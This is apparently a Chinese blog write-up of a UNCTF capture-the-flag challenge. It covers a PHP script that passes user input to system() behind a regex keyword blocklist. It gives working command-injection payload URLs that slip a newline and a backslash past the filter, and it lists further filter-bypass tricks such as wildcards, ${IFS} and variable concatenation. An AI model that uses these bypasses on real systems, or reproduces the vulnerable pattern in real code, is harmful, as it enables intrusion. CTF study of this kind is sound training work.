unctf记一次命令执行bypass

0x01 贴代码

<?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];

 // try bypass it
    if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";
        $a ='"' . $a . '"';
    if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
        $b = "";
        $b = '"' . $b . '"';
     $cmd = "file $a $b";
     str_replace(" ","","$cmd"); 
     system($cmd);
?>


0x02 分析

首先是过滤了cat, more以及flag等关键词,这儿可以用\绕过,例如c\at fla\g.php ,(这儿之所以可以用\,是因为题目中preg_match\\的写法相当于没过滤\),同时我们知道linux中,换行符可以当作命令分隔符。
php的正则有点小漏洞,两个斜杠丢进php只剩一个斜杠了,然后这个斜杠丢进正则就用来转义了
由于这个小漏洞,a被过滤了|*而不是*,b被过滤了|\n,而不是被过滤了\n

payload:http://127.0.0.1/?a=\&b=%0Aca\t%20index.php%0A
$cmd var_dump的结果为string(27) "file "\" " ca\t index.php "" "(中间是有换行符的)



0x03 知识点总结

1、 在命令中加\进行绕过关键词过滤
2、也可以用环境变量取值绕过比如${path:0:1},但是这儿过滤了{},所以不能使用此方法,env命令可以显示所有环境变量
3、对于命令的过滤有两种绕过方法,一个是linux下,用通配符?绕过,比如var写成v?r

expr${IFS}substr${IFS}“this is a test”${IFS}3${IFS}5

3、可以用命令拼接的方式绕过a=1;b=s;$a$b, 将分号改为%0A换行符即可http://127.0.0.1/?a=\&b=%0Ac=ca%0Ad=t%0A$c$d index.php%0A
4、 不同系统中结尾符不同

  • 在Unix系统里,每行结尾只有"<换行>",即"\n"(%0A)
  • 在Win系统里,每行结尾是"<回车><换行>",即"\r\n"
  • 在Mac系统里,每行结尾是"<回车>",即"\r"(%0D)
发布了47 篇原创文章 · 获赞 2 · 访问量 3149

猜你喜欢

转载自blog.csdn.net/a3320315/article/details/102776426
今日推荐